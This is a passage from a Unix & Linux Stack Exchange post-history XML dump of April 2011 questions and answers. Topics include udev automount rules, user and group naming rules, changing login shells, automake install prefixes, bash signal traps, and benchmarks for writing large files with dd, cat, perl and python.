in the documentation that i386 is recommended but I'm not sure if that's out-of-date information.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="27866" PostHistoryTypeId="1" PostId="11479" RevisionGUID="040af151-c8c7-4c25-b25f-0cf0db9b8d95" CreationDate="2011-04-16T23:33:37.337" UserId="5770" Text="First FreeBSD install. Is there anything I should know about differences between Linux and BSD?" />
  <row Id="27867" PostHistoryTypeId="3" PostId="11479" RevisionGUID="040af151-c8c7-4c25-b25f-0cf0db9b8d95" CreationDate="2011-04-16T23:33:37.337" UserId="5770" Text="éfreebsdàéarchitectureàétipsöandötricksàésystemöinstallationà" />
  <row Id="27868" PostHistoryTypeId="2" PostId="11480" RevisionGUID="43575ace-a967-47a4-8241-015d9bbae04c" CreationDate="2011-04-16T23:35:35.417" UserId="4485" Text="Create a small file with a string - here I use &quot;fussball&quot; because it sounds a bit like 'foobar' but is 8 byte long:&#xD;&#xA;&#xD;&#xA;    echo -n &quot;fussball&quot; &gt;f3&#xD;&#xA;I now constantly double the the size of the produced file, and watch which iteration I am in (echo $i). The starting name is 3, because 2^3=8, and 2^4 is the doubling of f3 which is f4 and so on. &#xD;&#xA;&#xD;&#xA;    for i in {3..32}; do time cat f${i} f${i} &gt; f$((i+1)) ; echo $i ; done&#xD;&#xA;    real	0m34.029s&#xD;&#xA;    user	0m0.016s&#xD;&#xA;    sys	0m3.868s&#xD;&#xA;    28&#xD;&#xA;&#xD;&#xA;I then interrupt if the time is above 10 seconds and below one minute (2^28 bytes). Then I do a similar test for dd, which ends in the same filesize:&#xD;&#xA;&#xD;&#xA;    for i in {1..16}; do time  dd if=/dev/zero of=g${i} bs=${i}M count=${i}  ; echo $i ; done&#xD;&#xA;    16+0 Datensätze ein&#xD;&#xA;    16+0 Datensätze aus&#xD;&#xA;    268435456 Bytes (268 MB) kopiert, 6,67487 s, 40,2 MB/s&#xD;&#xA;    &#xD;&#xA;    real	0m6.683s&#xD;&#xA;    user	0m0.004s&#xD;&#xA;    sys	0m1.364s&#xD;&#xA;    16&#xD;&#xA;&#xD;&#xA;For a file of size 2^28 it takes about 35 sec vs. 7 sec on a 5 year old laptop with IDE-hdd, not tuned or special setup - a random machine. According to my calculation. The dd-speed of 40MB/s is about the maximum I experienced so far. Whether 1/5 of that speed is to bad for you is up to you to decide. But I have to issue a warning: The speed of the `cat a a &gt; b`-Test wasn't increasing linearly with size. There was sometimes the same times for a doubled size, and sometimes it took 10* the time for 2* the size. &#xD;&#xA;&#xD;&#xA;And a second invocation made heavy use of the cache, so I had to touch the source file, to prevent cat from cheating. :) And I guess it depends on the memory of your machine and cache sizes, where the limits are, where things get worse, and where they perform well. &#xD;&#xA;" />
  <row Id="27869" PostHistoryTypeId="5" PostId="11478" RevisionGUID="d902c0f4-95cb-4688-bd60-86717392b8cf" CreationDate="2011-04-16T23:39:03.170" UserId="3169" Comment="added 975 characters in body" Text="The disk-based features of HAL were replaced by [udev](http://www.kernel.org/pub/linux/utils/kernel/hotplug/udev.html) and [udisks](http://www.freedesktop.org/wiki/Software/udisks).&#xD;&#xA;&#xD;&#xA;There is a full example of how to use udev to do this on the [Automounting UDisks wrappers](https://wiki.archlinux.org/index.php/Udev#Automounting_UDisks_Wrappers) page:&#xD;&#xA;&#xD;&#xA;**/etc/udev/rules.d/11-media-by-label-auto-mount.rules**&#xD;&#xA;&#xD;&#xA;    KERNEL!=&quot;sd[a-z][0-9]&quot;, GOTO=&quot;media_by_label_auto_mount_end&quot;&#xD;&#xA;&#xD;&#xA;    # Import FS infos&#xD;&#xA;    IMPORT{program}=&quot;/sbin/blkid -o udev -p %N&quot;&#xD;&#xA;&#xD;&#xA;    # Get a label if present, otherwise specify one&#xD;&#xA;    ENV{ID_FS_LABEL}!=&quot;&quot;, ENV{dir_name}=&quot;%E{ID_FS_LABEL}&quot;&#xD;&#xA;    ENV{ID_FS_LABEL}==&quot;&quot;, ENV{dir_name}=&quot;usbhd-%k&quot;&#xD;&#xA;&#xD;&#xA;    # Global mount options&#xD;&#xA;    ACTION==&quot;add&quot;, ENV{mount_options}=&quot;relatime&quot;&#xD;&#xA;    # Filesystem-specific mount options&#xD;&#xA;    ACTION==&quot;add&quot;, ENV{ID_FS_TYPE}==&quot;vfat|ntfs&quot;, ENV{mount_options}=&quot;$env{mount_options},utf8,gid=100,umask=002&quot;&#xD;&#xA;&#xD;&#xA;    # Mount the device&#xD;&#xA;    ACTION==&quot;add&quot;, RUN+=&quot;/bin/mkdir -p /media/%E{dir_name}&quot;, RUN+=&quot;/bin/mount -o $env{mount_options} /dev/%k /media/%E{dir_name}&quot;&#xD;&#xA;&#xD;&#xA;    # Clean up after removal&#xD;&#xA;    ACTION==&quot;remove&quot;, ENV{dir_name}!=&quot;&quot;, RUN+=&quot;/bin/umount -l /media/%E{dir_name}&quot;, RUN+=&quot;/bin/rmdir /media/%E{dir_name}&quot;&#xD;&#xA;&#xD;&#xA;    # Exit&#xD;&#xA;    LABEL=&quot;media_by_label_auto_mount_end&quot;&#xD;&#xA;&#xD;&#xA;For more information about udev:&#xD;&#xA;&#xD;&#xA;* [Writing udev rules](http://reactivated.net/writing_udev_rules.html)&#xD;&#xA;&#xD;&#xA;There are also a few options based on udisks that would be the new equivalent of halevt:&#xD;&#xA;&#xD;&#xA;* [UDisksEvt](https://github.com/dpx-infinity/udisksevt)&#xD;&#xA;* [devmon](http://igurublog.wordpress.com/downloads/script-devmon/)&#xD;&#xA;* [udiskie](https://bitbucket.org/byronclark/udiskie)&#xD;&#xA;&#xD;&#xA;I couldn't find any of those in the [testing repository](http://www.debian.org/distrib/packages), so you might have to find a third-party apt repository, or follow their instructions to compile the software on your own machine." />
  <row Id="27870" PostHistoryTypeId="2" PostId="11481" RevisionGUID="4bd77030-4506-407c-bd63-a6e1e72af13d" CreationDate="2011-04-16T23:46:02.107" UserId="885" Text="See the source code, specifically `libmisc/chkname.c`. Shadow is pretty conservative: names must match the regexp `[_a-z][-0-9_a-z]*\$?` and may be at most `GROUP_NAME_MAX_LENGTH` characters long (configure option, default 16; user names can usually go up to 32 characters, subject to compile-time determination).&#xD;&#xA;&#xD;&#xA;Debian relaxes the check a lot. As of squeeze, anything but whitespace and `:` is allowed. See [bug #264879](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=264879) and [bug #377844](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=377844).&#xD;&#xA;&#xD;&#xA;[POSIX](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_426) requires allowing letters of either case, digits and `._-` ([like in file names](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_276)). POSIX doesn't set any restriction if you don't care about portability.&#xD;&#xA;&#xD;&#xA;Colons, newlines and nulls are right out; you just can't use them in `/etc/passwd` or `/etc/group`. An initial `-` or a `.` in a user name is strongly not recommended, because many applications expect to be able to pass `$user.$group` to an external utility (e.g. `chown $user.$group /path/to/file`). A `.` in a group name should cause less trouble, but I'd still recommend against it. `/` is likely to cause trouble too, because some programs expect to be able to use user names in file names. Any character that the shell would expand is probably risky. Non-ASCII characters should be ok if you don't care about sharing with systems that may use different encodings.&#xD;&#xA;" />
  <row Id="27871" PostHistoryTypeId="6" PostId="11477" RevisionGUID="2dc96679-2dfd-4480-9ab5-5558938385da" CreationDate="2011-04-16T23:46:22.153" UserId="885" Comment="edited tags" Text="élinuxàéusersàégroupàéuseraddà" />
  <row Id="27872" PostHistoryTypeId="25" PostId="11477" RevisionGUID="5ff84cea-6866-43e1-a863-c323191f0481" CreationDate="2011-04-17T00:09:09.637" Comment="http://twitter.com/#!/StackUnix/status/59408017380229121" />
  <row Id="27873" PostHistoryTypeId="2" PostId="11482" RevisionGUID="fe19af7d-210f-43c1-9831-7c820b702788" CreationDate="2011-04-17T00:11:33.623" UserId="4485" Text="    egrep &quot;^[A-Z]&quot; FILE | egrep -c &quot;\b[A-Za-z]{5,10}\b&quot;&#xD;&#xA;&#xD;&#xA;The way the question is now, it means, filter out lines, starting with a capital letter (like this line) [the line has to start with a capital letter - not the word], and include a word (not necessarily the first word) which is 5 to 10 characters long. " />
  <row Id="27874" PostHistoryTypeId="5" PostId="11482" RevisionGUID="a8e8c4e7-2a77-43e4-9deb-2a03eddd678b" CreationDate="2011-04-17T00:48:43.917" UserId="4485" Comment="introduced 2nd alternative" Text="    egrep &quot;^[A-Z]&quot; FILE | egrep -c &quot;\b[A-Za-z]{5,10}\b&quot;&#xD;&#xA;&#xD;&#xA;The way the question is now, it means, filter out lines, starting with a capital letter (like this line) [the line has to start with a capital letter - not the word], and include a word (not necessarily the first word) which is 5 to 10 characters long. &#xD;&#xA;&#xD;&#xA;Yes, after reading the original question, there are 4 possibilities to interpret it: The Starting word has to fulfill both requirements or it is a starting word and another word, and: Get the line numbers, or the number of lines. &#xD;&#xA;&#xD;&#xA;To print the line numbers for lines, which begin with a capital letter, and contain a word somewhere of length 5-10, we use sed: &#xD;&#xA;&#xD;&#xA;    sed -nr '/^[A-Z][a-z]{4,9}/=;/^[A-Z].*\b[A-Za-z]{5,10}\b/=' FILE " />
  <row Id="27875" PostHistoryTypeId="2" PostId="11483" RevisionGUID="99353dc4-72b6-4d11-ba4b-255e01d82db1" CreationDate="2011-04-17T00:50:00.953" UserId="688" Text="I was using `automake` **1.11** without trouble, until some package required `automake` **1.10**. When installing it, I found that it actually wants to overwrite `/usr/bin/{aclocal,automake}` (which were installed by **1.11**).&#xD;&#xA;&#xD;&#xA;Here's my `./configure` command:&#xD;&#xA;&#xD;&#xA;    ./configure --prefix=/usr&#xD;&#xA;&#xD;&#xA;I would prefer the solution to involve the build files, as opposed to modifying the filesystem directly." />
  <row Id="27876" PostHistoryTypeId="1" PostId="11483" RevisionGUID="99353dc4-72b6-4d11-ba4b-255e01d82db1" CreationDate="2011-04-17T00:50:00.953" UserId="688" Text="How to disallow different automake versions from overwriting each other's binary files" />
  <row Id="27877" PostHistoryTypeId="3" PostId="11483" RevisionGUID="99353dc4-72b6-4d11-ba4b-255e01d82db1" CreationDate="2011-04-17T00:50:00.953" UserId="688" Text="ésoftwareöinstallationà" />
  <row Id="27878" PostHistoryTypeId="2" PostId="11484" RevisionGUID="7332c5ec-4bb0-4b5b-9efe-297ba87a5d83" CreationDate="2011-04-17T01:45:34.810" UserId="4485" Text="For simple cases, there are simple solutions, so if you happen to have clean, plain, core words, without .?+*{}()[]\\/ and maybe more fancy sed-stuff, you can transfer the list of pairs to a sed-command-file with sed: &#xD;&#xA;&#xD;&#xA;    sed -re 's,(^\\| \\|$),/,g;s/^/s/;s/$/g/' pairs.txt &gt; pairs.sed&#xD;&#xA;    sed -f pairs.sed input &gt; output&#xD;&#xA;" />
  <row Id="27879" PostHistoryTypeId="25" PostId="11470" RevisionGUID="60652bac-6cc0-45aa-96c3-8e67d43b525c" CreationDate="2011-04-17T03:09:09.943" Comment="http://twitter.com/#!/StackUnix/status/59453317474041858" />
  <row Id="27880" PostHistoryTypeId="2" PostId="11485" RevisionGUID="76222147-8466-4976-b4f6-f5f4cc281735" CreationDate="2011-04-17T03:31:14.080" UserId="6442" Text="When I ssh as root, my shell is `bash`, but when it's a non-root user it is `sh`. How can I make them both to use `bash`?&#xD;&#xA;This actually goes against the logic in this question: [Why root's default shell is configured differently with other normal user account's default shell?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7938/why-roots-default-shell-is-configured-differently-with-other-normal-user-account" />
  <row Id="27881" PostHistoryTypeId="1" PostId="11485" RevisionGUID="76222147-8466-4976-b4f6-f5f4cc281735" CreationDate="2011-04-17T03:31:14.080" UserId="6442" Text="different shell for root and non-root user" />
  <row Id="27882" PostHistoryTypeId="3" PostId="11485" RevisionGUID="76222147-8466-4976-b4f6-f5f4cc281735" CreationDate="2011-04-17T03:31:14.080" UserId="6442" Text="éubuntuàécommandölineàésshà" />
  <row Id="27883" PostHistoryTypeId="2" PostId="11486" RevisionGUID="b57c131f-b2db-4404-8fee-95e67aeac99c" CreationDate="2011-04-17T03:45:54.347" UserId="6662" Text="This isn't a direct answer to your question, but you might want to take a step back and consider why you want this feature.  It may be because you are used to working in a particular manner under Windows, but you might find that Linux offers a different way to approach your tasks, which could be much more efficient and may not even require a taskbar!&#xD;&#xA;&#xD;&#xA;For example I use the [Awesome](http://awesome.naquadah.org) window manager, which allows me to perform all window management via the keyboard.  Moving windows around, switching between programs, even moving windows between monitors can all be done via keyboard shortcuts.  Using 'tags', windows can be linked to shortcut keys as well.  So one keypress switches to my two Firefox windows (split screen on one monitor) and another keypress switches to Thunderbird on another monitor.  Because of this, having a taskbar is not really necessary.  Although having said that, by default you do get a taskbar on each screen!&#xD;&#xA;&#xD;&#xA;Anyway, my point is that before you spend too much effort making your new environment work the same way your old one did, consider why you are moving away from your old environment in the first place!&#xD;&#xA;" />
  <row Id="27884" PostHistoryTypeId="2" PostId="11487" RevisionGUID="1711384f-a52f-4d6c-be02-413e088270d9" CreationDate="2011-04-17T04:09:33.167" UserId="6662" Text="Since [usbmon](http://www.mjmwired.net/kernel/Documentation/usb/usbmon.txt) provides the length of each packet transferred, I would approach this by writing a quick program to parse the `0u` file (which has data for all USB devices.)  It would pick out the USB bus and device numbers, then keep a running total of the packet length field in both directions for each device.&#xD;&#xA;&#xD;&#xA;This will then give you the amount of data transferred per device, in each direction.  If you print it once a second you'll get a pretty good idea of each device's throughput.  Note that it won't include any USB overhead, but if you compare the figures to a device that is able to saturate the available bandwidth you'll know whether you're getting close to the limit.&#xD;&#xA;" />
  <row Id="27885" PostHistoryTypeId="2" PostId="11488" RevisionGUID="3fed9599-5062-47a1-840d-ce35b39882da" CreationDate="2011-04-17T04:11:06.473" UserId="3519" Text="As far as I know your default shell is defined in `/etc/passwd` (as decided at user creation). Change `/etc/passwd` on the target machine to reflect your choice." />
  <row Id="27886" PostHistoryTypeId="2" PostId="11489" RevisionGUID="38abb62a-4e2e-4f5e-8efc-3cc9112fbe47" CreationDate="2011-04-17T04:16:44.817" UserId="6662" Text="It works for me on a Linode VPS running Debian.  If it can't connect that seems like iptables to me too.  What happens if you kill spamd then try telnet?  Do you get a connection refused (as you should) or does it still hang, trying to connect?  If so it's definitely iptables/firewall.&#xD;&#xA;&#xD;&#xA;In that case something like `iptables -I INPUT 1 -i lo -j ACCEPT` should do the trick.&#xD;&#xA;" />
  <row Id="27887" PostHistoryTypeId="2" PostId="11490" RevisionGUID="41609794-e12a-4718-b1fb-f1588cbc0583" CreationDate="2011-04-17T04:25:24.313" UserId="6662" Text="You could install the old automake version into a different folder, such as:&#xD;&#xA;&#xD;&#xA;    ./configure --prefix=/usr/local/automake-1.10&#xD;&#xA;&#xD;&#xA;Then when you want to use that version, make sure it gets picked up before the real/latest version:&#xD;&#xA;&#xD;&#xA;    export PATH=/usr/local/automake-1.10/bin:$PATH&#xD;&#xA;    automake --version&#xD;&#xA;&#xD;&#xA;It doesn't have to go into /usr/local/automake-1.10 either, you can put it in your home directory so you don't need root access to install it, and it can be easily removed when you're done." />
  <row Id="27888" PostHistoryTypeId="2" PostId="11491" RevisionGUID="781ca067-2f9c-4a05-a825-ee6a47b0915c" CreationDate="2011-04-17T04:29:19.833" UserId="6635" Text="Please see `man usermod`&#xD;&#xA;&#xD;&#xA;An example would be `sudo usermod -s /bin/bash username`.&#xD;&#xA;" />
  <row Id="27889" PostHistoryTypeId="2" PostId="11492" RevisionGUID="0166058c-784b-4a99-a14e-047c7ccc24fe" CreationDate="2011-04-17T04:36:11.717" UserId="6662" Text="Having never used any BSDs myself, I would say the differences are likely to be limited to the kernel rather than the applications.  In other words, you will still be able to run the same applications you're used to (e.g. Firefox, or even just bash), but lower-level things will be different (device names in /dev for example, or the commands used to set firewall rules.)&#xD;&#xA;&#xD;&#xA;I suspect once you got the system up and running the 'big' things would work in much the same way, but you'd find a bit of a learning curve trying to figure out how to configure some of the little things!&#xD;&#xA;&#xD;&#xA;Doing something like this however is always a worthwhile exercise, as the knowledge you gain from it will surely come in handy one day (even if it's just having experience teaching yourself something new!)" />
  <row Id="27890" PostHistoryTypeId="5" PostId="11491" RevisionGUID="54f3d361-4666-4297-a85d-1f0d8e47acf4" CreationDate="2011-04-17T04:38:14.603" UserId="6635" Comment="added 1 characters in body" Text="Please see `man usermod`.&#xD;&#xA;&#xD;&#xA;An example would be `sudo usermod -s /bin/bash username`.&#xD;&#xA;" />
  <row Id="27891" PostHistoryTypeId="2" PostId="11493" RevisionGUID="c6621554-a1fe-4366-b023-aebb9a01024d" CreationDate="2011-04-17T04:41:24.930" UserId="6662" Text="If you're feeling adventurous, you can edit `/etc/group` directly and put in whatever group name you like.  Also, this has the added bonus that when you encounter one of the problems @Gilles mentioned, you may not be able to load an editor to fix the problem, or even log in at all - giving you valuable experience in recovering a broken system!&#xD;&#xA;" />
  <row Id="27892" PostHistoryTypeId="2" PostId="11494" RevisionGUID="2f0bc433-1643-4315-86f9-a9d6b63eb5ce" CreationDate="2011-04-17T05:22:11.933" UserId="6662" Text="I've also had this problem, and it was caused by network filesystems being mounted too early in the boot process, at the same time as local filesystems.  My distro eventually fixed it by splitting the process into two steps - first local filesystems are mounted, then the network is started, then network filesystems are mounted.&#xD;&#xA;&#xD;&#xA;Before this I had edited my initscripts to mount everything in the background, so that it didn't hold the boot process up, and thanks to the 10 minutes of retries you have noticed as soon as the network came up the filesystems were mounted.&#xD;&#xA;" />
  <row Id="27893" PostHistoryTypeId="2" PostId="11495" RevisionGUID="3220c476-96d1-4625-a721-10541590b32f" CreationDate="2011-04-17T05:28:25.130" UserId="1078" Text="The command `chsh(1)` is used to change a user's shell. The system can be set up to allow only certain shells by listing the allowed shells in `/etc/shells`. This does not need root privileges, but a user can only change their shell.&#xD;&#xA;&#xD;&#xA;You will need to enter your password (not root) to change your shell, unless you are root, in which case no password is needed and you can set any program to be used as a user's shell (ignoring `/etc/shells`)." />
  <row Id="27894" PostHistoryTypeId="5" PostId="11457" RevisionGUID="0f9b7949-4585-43bc-a315-b510d688eb00" CreationDate="2011-04-17T05:33:36.790" UserId="1925" Comment="added 127 characters in body" Text="Every distro and shell has a different collection of commands vs builtin shell functions. Generally the idea is that shells build-in the most common and simple functions to save time, speed, and integrate will with the rest of their feature set. The overhead is much lower since it doesn't have to launch another system process. However it is possible to mix and match. You might run one shell that has a buildin for something, but have that command on your system too. Usually the builtin would take priority, but you could control that.&#xD;&#xA;&#xD;&#xA;You can easily find out whether a specific command is a builtin or not by running `type mycommand`. Most shell man pages also have a list of their builtins.&#xD;&#xA;&#xD;&#xA;**Edit:** Use `type` to find out whether a command is a builtin, and if not `which` to learn where it will be executed from." />
  <row Id="27895" PostHistoryTypeId="2" PostId="11496" RevisionGUID="9d3e7413-da33-4556-ae8e-13c3f22fecb8" CreationDate="2011-04-17T05:47:27.750" UserId="6662" Text="You need to use lomoco to make permanent changes (such as stopping buttons 11 and 12 from sending scroll wheel events.)  You may have to run lomoco at startup to keep the changes.  I did this with my MX1000.&#xD;&#xA;&#xD;&#xA;You can use xmodmap to remap buttons, if you want buttons 6 and 7 assigned (which are normally treated as horizontal scrolling under X.)" />
  <row Id="27896" PostHistoryTypeId="25" PostId="11485" RevisionGUID="d6e98751-afc5-4342-a2a6-4bdb0442c4da" CreationDate="2011-04-17T06:09:09.870" Comment="http://twitter.com/#!/StackUnix/status/59498614673772544" />
  <row Id="27897" PostHistoryTypeId="2" PostId="11497" RevisionGUID="5c1c5602-d12c-4244-a7f2-16fb3bbab9fe" CreationDate="2011-04-17T06:19:37.520" UserId="6635" Text="You must try [ndiswrapper][1] if works on windows and not on linux.&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/apps/mediawiki/ndiswrapper/index.php?title=Main_Page" />
  <row Id="27898" PostHistoryTypeId="2" PostId="11498" RevisionGUID="f5fc48ef-f79d-4fea-a716-085cd82e1f96" CreationDate="2011-04-17T06:23:12.697" UserId="6663" Text="I have a bash script (on osx) running continuously, it currently traps and handles a terminate like so&#xD;&#xA;&#xD;&#xA;`trap onshutdown TERM` &#xD;&#xA;&#xD;&#xA;how can I make trap also handle suspend/resume like&#xD;&#xA;&#xD;&#xA;`trap onsuspend ?`&#xD;&#xA;&#xD;&#xA;`trap onresume ?`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27899" PostHistoryTypeId="1" PostId="11498" RevisionGUID="f5fc48ef-f79d-4fea-a716-085cd82e1f96" CreationDate="2011-04-17T06:23:12.697" UserId="6663" Text="how to trap a suspend a resume from a bash script" />
  <row Id="27900" PostHistoryTypeId="3" PostId="11498" RevisionGUID="f5fc48ef-f79d-4fea-a716-085cd82e1f96" CreationDate="2011-04-17T06:23:12.697" UserId="6663" Text="ésuspendàétrapà" />
  <row Id="27901" PostHistoryTypeId="2" PostId="11499" RevisionGUID="f1b540e1-ab2b-450c-b84a-078279b509a5" CreationDate="2011-04-17T06:25:27.140" UserId="6635" Text="The basic command I use is `rsync -vaP user@host1:/files/ user@host2:/files/`. I occasionally use `--exclude-from`, `--delete`, `--delete-excluded`.&#xD;&#xA;&#xD;&#xA;A nice wrapper around rsync for backup purposes is [dirvish][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dirvish.org/&#xD;&#xA;" />
  <row Id="27902" PostHistoryTypeId="2" PostId="11500" RevisionGUID="eac981d5-9ca5-4226-8767-56c36f056401" CreationDate="2011-04-17T06:35:25.157" UserId="6635" Text="Please use [tmpreaper][1].&#xD;&#xA;&#xD;&#xA; [1]: http://www.ubuntugeek.com/tmpreaper-cleans-up-files-in-directories-based-on-their-age.html" />
  <row Id="27903" PostHistoryTypeId="5" PostId="11467" RevisionGUID="11ccb460-d396-41a9-8a8b-be78a68b2b63" CreationDate="2011-04-17T07:43:57.477" UserId="5842" Comment="added 583 characters in body" Text="    $ time perl -e \&#xD;&#xA;        '$count=1024*1024; while ($count&gt;0) { print &quot;x&quot; x 384; $count--; }' &gt; out&#xD;&#xA;    real	0m1.284s&#xD;&#xA;    user	0m0.316s&#xD;&#xA;    sys	0m0.961s&#xD;&#xA;    $ ls -lh out&#xD;&#xA;    -rw-r--r-- 1 me group 384M Apr 16 19:47 out&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Replace `&quot;x&quot; x 384` (which produces a string of 384 `x`s) with whatever you like.&#xD;&#xA;&#xD;&#xA;You can optimize this further by using a bigger string in each loop, and bypassing normal standard out buffering.&#xD;&#xA;&#xD;&#xA;    $ perl -e \&#xD;&#xA;       '$count=384; while ($count&gt;0) {&#xD;&#xA;          syswrite(STDOUT, &quot;x&quot; x (1024*1024),  1024*1024);&#xD;&#xA;          $count--;&#xD;&#xA;        }' &gt; out&#xD;&#xA;&#xD;&#xA;In this case, the `syswrite` calls will pass down 1M at a time to the underlying `write` syscall, which is getting pretty good. (I'm getting around 0.940s user with this.)&#xD;&#xA;&#xD;&#xA;Hint: make sure you call `sync` between each test to avoid having the previous run's flushing interfere with the current run's I/O.&#xD;&#xA;&#xD;&#xA;For reference, I get this time:&#xD;&#xA;&#xD;&#xA;    $ time dd if=/dev/zero bs=1024 count=$((1024*384)) of=./out&#xD;&#xA;    393216+0 records in&#xD;&#xA;    393216+0 records out&#xD;&#xA;    402653184 bytes (403 MB) copied, 1.41404 s, 285 MB/s&#xD;&#xA;    &#xD;&#xA;    real	0m1.480s&#xD;&#xA;    user	0m0.054s&#xD;&#xA;    sys	0m1.410s&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27904" PostHistoryTypeId="2" PostId="11501" RevisionGUID="c01819cf-75a4-4a2b-a2fe-52c1cfed5345" CreationDate="2011-04-17T07:47:03.947" UserId="3082" Text="Python version:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    import sys&#xD;&#xA;    &#xD;&#xA;    CHAR = sys.argv[1] if len(sys.argv) &gt; 1 else &quot;x&quot;&#xD;&#xA;    &#xD;&#xA;    block = CHAR * 1024&#xD;&#xA;    count = 1024 * 384&#xD;&#xA;    &#xD;&#xA;    with open(&quot;testout.bin&quot;, &quot;w&quot;) as outf:&#xD;&#xA;        for i in xrange(count):&#xD;&#xA;            outf.write(block)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;python2.7 writestr.py x  &#xD;&#xA;0.27s user 0.69s system 99% cpu 0.963 total&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;dd if=/dev/zero of=testout.bin bs=1024 count=$((1024*384))  &#xD;&#xA;0.05s user 1.05s system 94% cpu 1.167 total&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Python has a higher initialization cost, but overall beat dd on my system." />
  <row Id="27905" PostHistoryTypeId="2" PostId="11502" RevisionGUID="6f8b4cd7-551b-4573-a5fd-9e725fa555ef" CreationDate="2011-04-17T08:30:42.533" UserId="1594" Text="I think these problems bother me with the native alt-tab app:&#xD;&#xA;&#xD;&#xA; - It feels a bit sluggish - it takes about 0.3 seconds for the alt-tab window to appear.&#xD;&#xA; - I'd like to configure Alt-Shift-Tab to go one window backwards (not sure who to do this with the native one).&#xD;&#xA; - I don't like how the **only** visible window is the window I'm switching too - I'd like a behavior similar to Windows' alt-tab." />
  <row Id="27906" PostHistoryTypeId="1" PostId="11502" RevisionGUID="6f8b4cd7-551b-4573-a5fd-9e725fa555ef" CreationDate="2011-04-17T08:30:42.533" UserId="1594" Text="What are some decent alt-tab replacements for Gnome?" />
  <row Id="27907" PostHistoryTypeId="3" PostId="11502" RevisionGUID="6f8b4cd7-551b-4573-a5fd-9e725fa555ef" CreationDate="2011-04-17T08:30:42.533" UserId="1594" Text="égnomeàéaltötabà" />
  <row Id="27908" PostHistoryTypeId="2" PostId="11503" RevisionGUID="157f22be-62a9-493b-90fa-0a62376d85d3" CreationDate="2011-04-17T08:46:27.190" UserId="6167" Text="You're looking for signals SIGTSTP and SIGCONT.  Try this:&#xD;&#xA;&#xD;&#xA;    trap onsuspend TSTP&#xD;&#xA;    trap onresume  CONT" />
  <row Id="27909" PostHistoryTypeId="25" PostId="11498" RevisionGUID="885000f9-e2db-4e66-a68c-9d3f6dffdf99" CreationDate="2011-04-17T09:09:09.677" Comment="http://twitter.com/#!/StackUnix/status/59543912871772160" />
  <row Id="27910" PostHistoryTypeId="2" PostId="11504" RevisionGUID="09b6e249-2afb-4878-97d3-f74081672a5b" CreationDate="2011-04-17T09:09:48.730" UserId="6167" Text="You will notice differences certainly.  Most noticably will be differences in the standard userland utilities.  FreeBSD does not use GNU ls, GNU cp, and so on.  For example, if your attached to a colorized ls, you may want to alias ls to &quot;ls -G&quot;  It does use GNU grep though.  The default shell is a much simpler and less bloated shell than GNU Bash which is the default on most Linux distributions.  If you are attached to bash, that may be one of the first packages you will want to install.  The ports system has been the standard way to install software on the various BSDs.  Ports downloads the source code, builds it, and then installs it.  It's nearly entirely automatic.  To install bash, for example, do this as root:&#xD;&#xA;&#xD;&#xA;    cd /usr/ports/shells/bash &amp;&amp; make install &amp;&amp; make clean&#xD;&#xA;&#xD;&#xA;If you don't do a make clean at the end, you will leave the built source code lying in the ports tree.  Many ports have pre-built packages that can be downloaded if you prefer not to waste time building it and don't need to customize it.  To install bash as a package, this should do it:&#xD;&#xA;&#xD;&#xA;    pkg_add -r bash&#xD;&#xA;&#xD;&#xA;You can find most any common program in ports including Gnome 3, sudo, rsync, or what ever else you need.  A great website for navigating ports is [FreshPorts](http://www.freshports.org/).  You also should get familiar with the [FreeBSD Handbook](http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/index.html)." />
  <row Id="27911" PostHistoryTypeId="2" PostId="11505" RevisionGUID="f2c4e3ca-0949-4077-981e-e8c916983521" CreationDate="2011-04-17T09:14:15.797" UserId="6668" Text="The boot partition has to be bigger than 100 mb&#xD;&#xA;&#xD;&#xA;I am using a boot partition of 100 mb and ubuntu 10.10 and as there constantly is published new kernel versions, the 100 mb is quickly used up.&#xD;&#xA;&#xD;&#xA;A long time ago a 100 mb /boot was plenty but not now." />
  <row Id="27912" PostHistoryTypeId="2" PostId="11506" RevisionGUID="30c3317f-2532-4a65-adaa-fc89b094d4cf" CreationDate="2011-04-17T09:17:11.583" UserId="2343" Text="I've finally got my idea on how to do this working...  It uses a `tee` |`tee` |`tee` chain, which runs at close to `dd`'s speed.. &#xD;&#xA;&#xD;&#xA;    # ============================================================================&#xD;&#xA;    # repstr&#xD;&#xA;    #&#xD;&#xA;    # Brief:&#xD;&#xA;    #   Make multiple (repeat) copies of a string.&#xD;&#xA;    #   Option -e, --eval is used as in 'echo -e'&#xD;&#xA;    #&#xD;&#xA;    # Return:&#xD;&#xA;    #   The resulting string is sent to stdout&#xD;&#xA;    #&#xD;&#xA;    #   Args:       Option      $1         $2&#xD;&#xA;    #             -e, --eval   COUNT      STRING&#xD;&#xA;    #     repstr             $((2**40))    &quot;x&quot;       # 1 TB:     xxxxxxxxx...&#xD;&#xA;    # eg. repstr  -e            7         &quot;AB\tC\n&quot;  # 7 lines:  AB&lt;TAB&gt;C&#xD;&#xA;    #     repstr                2         &quot;ऑढळ|a&quot;   # 2 copies:  ऑढळ|aऑढळ|a &#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    [[ &quot;$1&quot; == &quot;-e&quot; || &quot;$1&quot; == &quot;--eval&quot; ]] &amp;&amp; { e=&quot;-e&quot;; shift 1; }|| e=&quot;&quot;&#xD;&#xA;     count=&quot;$1&quot;&#xD;&#xA;    string=&quot;$2&quot;&#xD;&#xA;    [[ &quot;${count}&quot; == &quot;&quot;         ]] &amp;&amp; exit 1 # $count must be an integer&#xD;&#xA;    [[ &quot;${count//[0-9]/}&quot; != &quot;&quot; ]] &amp;&amp; exit 2 # $count is not an integer&#xD;&#xA;    [[ 